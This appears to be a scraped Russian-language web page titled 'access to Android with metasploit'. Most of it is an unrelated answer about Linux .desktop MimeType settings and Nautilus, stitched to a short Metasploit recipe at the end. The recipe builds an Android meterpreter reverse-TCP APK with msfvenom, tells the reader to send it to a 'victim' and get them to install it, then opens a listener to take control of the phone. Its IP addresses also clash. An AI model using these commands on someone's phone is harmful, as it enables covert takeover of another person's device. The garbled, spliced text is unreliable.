доступ к Android с помощью metasploit
Не уверен, что это поможет вам, но мне помог следующий список MIME-типов. Я все еще не уверен, что прав на 100%, но пока это работает для меня.
Я пытался разработать сценарий «открыть с помощью», который берет любой файл и отправляет в сценарий (что-то вроде «добавить этот файл в репозиторий» независимо от его типа ). Это почти нигде не задокументировано. Я искал ответ (, и документация по этим вопросам почти исчерпывающая )
.
Оказывается, существуют некоторые типы MimeType, применимые к более широкому диапазону типов файлов. Например, попробуйте это в своем файле.desktop.
MimeType=text/plain;binary/octet-stream;application/octet-stream;
По-видимому, поток application/octet -является базовым типом mime, от которого происходят другие.
Теперь не полагайтесь на .local/share/defaults.listвам, скорее всего, понадобится файл.desktop в:
~/.local/share/applications/ - for your user and/or
/usr/local/share/applications/ - guess for all other users including you
если сначала ваше приложение не отображается в списке «открыть с помощью», когда вы нажимаете на файл, добавьте его из более глубоких меню (должен добавить этот тип MIME файла)
Также я нахожу эти посты очень вдохновляющими и важными
Исправление MIME-типа в Ubuntu
Я также понял, что если вы используете файловый менеджер Nautilus, то можно включить просмотр MIME-типа рядом с именем файла в списке файлов.Это должно быть включено в представлении Nautilus (необходимо сделать столбец видимым -просмотреть настройки или правой кнопкой мыши -щелкнуть столбцы)
Я перезагрузил свой ноутбук и повторил ту же команду, и увидел, что они работают нормально.
ifconfig
inet addr:192.168.0.106
192.168.0.106— мой локальный IP-адрес.
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.103 LPORT=4444 > androidApp.apk
Затем вы должны отправить andoridApp.apkтелефон жертвы и попросить его установить его.
msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.0.106
msf6 exploit(multi/handler) > exploit
Теперь вы можете управлять телефоном жертвы.
Если вы меняете ip и запускаете одни и те же команды несколько раз, иногда они не будут работать, поэтому иногда вам приходится перезагружать компьютер.